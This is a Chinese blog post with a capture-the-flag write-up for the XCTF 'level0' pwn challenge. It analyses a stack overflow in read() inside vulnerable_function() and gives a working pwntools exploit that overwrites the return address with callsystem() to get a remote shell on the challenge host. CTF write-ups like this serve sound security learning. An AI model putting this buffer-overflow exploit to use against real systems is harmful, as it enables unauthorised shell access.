XCTF-pwn-level0

下载改题目提供的文件,使用filechecksec进行分析

该文件是一个64位的ELF可执行文件,而且开启了NX保护机制,不知道其作用如何

使用ida打开,是一道基本的栈溢出

  1. return返回vulnerable_function()方法,继续追踪

  2. 可以看出vulnerable_function()这个方法有return返回了read()方法

  3. 这里可以确定,read()方法会栈溢出,详细可以看我之前的博客:https://www.cnblogs.com/Junglezt/p/17871927.html

  4. 通过ida找到了一个危险函数callsystem()函数,内容位/bin/sh

编写exp

from pwn import *

r = remote("61.147.171.105",55521)

# callsystem函数内存地址
callsystem_addr = 0x400596

# 发送80个垃圾数据,8个saved ebp数据,最后发送callsystem函数内存地址
payload = (b"a" * 0x80) + (b"b" * 8) + p64(callsystem_addr)

# 发送payload
r.send(payload)

# 获取靶机交互式终端
r.interactive()

posted @ 2023-12-02 19:03  Junglezt  阅读(14)  评论(0编辑  收藏  举报